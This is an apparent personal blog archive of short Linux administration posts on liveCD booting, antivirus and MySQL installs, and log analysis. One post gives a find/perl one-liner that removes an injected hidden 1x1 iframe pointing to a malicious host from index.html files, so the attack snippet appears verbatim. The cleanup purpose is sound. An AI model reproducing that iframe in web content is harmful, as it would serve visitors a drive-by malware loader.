linux Archive

  • Boot a liveCD iso from the hard drive (摘录)

    Boot a liveCD iso from the hard drive (摘录)

    Some three or four years ago I read an atricle suggesting a possible way to boot a liveCD iso from the hard drive. I haven’t tried it yet; it’s in my *to do one of these days* folder. 1) create a cd sized partition (700...

    Full Story

  • install avast4workstation on my linux server

    install avast4workstation on my linux server

    1. download avast4workstation 2. tar zxvf avast4workstation 3. run… 安装确实非常简单,且没有任何出错和提示,仅仅在第一次运行时,根据当前用户需要输入授权号(仅申请即可)。 但我安装的原因是得杀某个病毒(卡巴斯基报毒),实际上就是一个恶意的script。但实际情况看,avast4workstation并未能监测到这个毒,故未能杀出。 而我的解决方法如我的blog下面的关于find and xargs perl 方式直接将那段代码替换删除罢了。个人认为此举仅治标不治本,所以linux下权限问题和代码检查以及日志分析监测方面工作今后得认真注意。

    Full Story

  • Install mysql on redhat (转)

    Install mysql on redhat (转)

    Install and Configure MySQL on Linux 用 MySQL 有年头了,写篇简单的文档来记录下自己的常用安装和配置过程。本文旨在介绍如何在 Linux 系统上安装 MySQL 数据库服务器,以及基本配置。本文仅仅提供一份快速指南,请访问 MySQL 官方网站获取详细安装、配置指南。 OS: Red Hat Enterprise Linux AS 3.0 MySQL: 5.0.22 源码 tarball 放置在 /home/huangys , 安装目的地是/opt/mysql 1. 准备 创建一个用户来运行 MySQL 守护进程。 # groupadd mysqlg # useradd –g mysqlg –M –s /sbin/nologin...

    Full Story

  • linux text replace with many files

    linux text replace with many files

    当前目录下,所有index.html中包含木马的文字替换 find . -name index.html |xargs perl -pi -e ‘s/<iframe src=http:\/\/msn.vnm3.cn\/wmpu\/msn.htm width=1 height=1><\/iframe>//i’ http://www.oreilly.com/pub/h/73

    Full Story

  • webanizer 还是很方便的

    webanizer 还是很方便的

    日志分析~如题~

    Full Story